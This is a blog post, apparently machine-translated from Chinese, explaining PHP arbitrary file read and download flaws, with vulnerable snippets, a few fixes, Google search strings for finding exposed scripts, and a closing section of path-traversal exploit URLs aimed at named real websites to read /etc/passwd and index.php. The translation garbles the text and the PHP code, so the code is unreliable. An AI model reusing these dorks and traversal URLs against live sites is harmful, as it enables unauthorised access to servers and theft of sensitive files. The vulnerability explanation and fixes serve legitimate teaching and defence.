Arbitrary file read and download

0x00 Background Introduction

Some website business needs, may provide the file view or the download function, if the user view or the download file does not restrict, can view or download any file, can be the source file, the sensitive file and so on

0x01 file Read

File reads in PHP This can be implemented in many ways, in the Web by default, $filename variables may be user-controllable

<?php$filename = $_get[' F '];echo file_get_contents ($filename);? > #当变量 $filename is not verified, or the verification is not strict, the user can control the variable read arbitrary files, such as/etc/passwd,/config.ini and other files

0X02 two ways to implement file download

1. Direct download:

<a href= "Http://www.xxx.com/xxx.rar" ></a>

2. Add header

<?php$filename = $_get[' F '];header (' content-type:image/gif '); header (' Content-disposition:attachment;filename= '. $filename); header (' Content-length: ' FileSize ($filename)); ReadFile ($filename);? >

When the $filename is not verified, or the calibration is not qualified, the user can control the variable to download arbitrary files, such as/etc/passwd,./index.php, etc., resulting in any file download vulnerability.

0X03 Genesis

There are functions that read the file

The path of the reading file is controlled by the user and is not verified, or the checksum is not strict

All output file contents

0x04 Google Serch

Inurl: "readfile.php?file=" inurl: "download.php?file="

0x05 Repair Solution

Filter <.> (point)

Regular judge the user input parameter format, match the input format is qualified

PHP.ini Configuration Open_basedir

0x06 instance Exploit

(For testing only, do not destroy)

Address:

Url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

Exploit:

http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

Address:

Url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

Exploit exploits

http://www.wodehouse.se/upload/readfile.php?file=../index.php

This article is from the "Creative Pilgrim" blog, so be sure to keep this source http://dearch.blog.51cto.com/10423918/1836973

Arbitrary file read and download